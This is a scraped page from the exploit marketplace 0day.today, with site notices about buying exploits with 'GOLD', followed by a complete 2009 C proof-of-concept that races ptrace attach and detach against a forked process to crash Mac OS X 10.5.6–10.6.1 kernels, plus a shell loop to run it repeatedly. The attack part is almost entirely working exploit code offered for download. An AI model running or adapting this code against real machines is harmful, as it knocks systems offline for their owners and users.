0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OSX 10.5.6-10.5.7 ptrace mutex DoS
================================== OSX 10.5.6-10.5.7 ptrace mutex DoS ================================== # Title: OSX 10.5.6-10.5.7 ptrace mutex DoS # CVE-ID: () # OSVDB-ID: () # Author: prdelka # Published: 2009-11-05 # Verified: yes view source print? /* Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS ================================================== This code should be run in a loop and due to problems with mutex handling in ptrace a DoS can occur when a destroyed mutex is attempted to be interlocked by OSX kernel giving rise to a race condition. You may need to run this code multiple times. - Tested against 10.5.6 - Tested against 10.5.7 - Tested against 10.6.1 while `true`;do ./prdelka-vs-APPLE-ptracepanic;done -- prdelka */ #include <sys/types.h> #include <sys/ptrace.h> #include <stdio.h> #include <stdlib.h> int main(){ pid_t pid; char *argv[] = {"id","","",0}; char *envp[] = {"",0}; pid = fork(); if(pid == 0){ usleep(100); execve("/usr/bin/id",argv,envp); } else{ usleep(820); if(ptrace(PT_ATTACH,pid,0,0)==0){ printf("[ PID: %d has been caught!\n",pid); if(ptrace(PT_DETACH,pid,0,0)<0){ perror("Evil happens."); } usleep(1); wait(0); } else{ perror("Fail!"); } } return(0); } # 0day.today [2024-11-15] #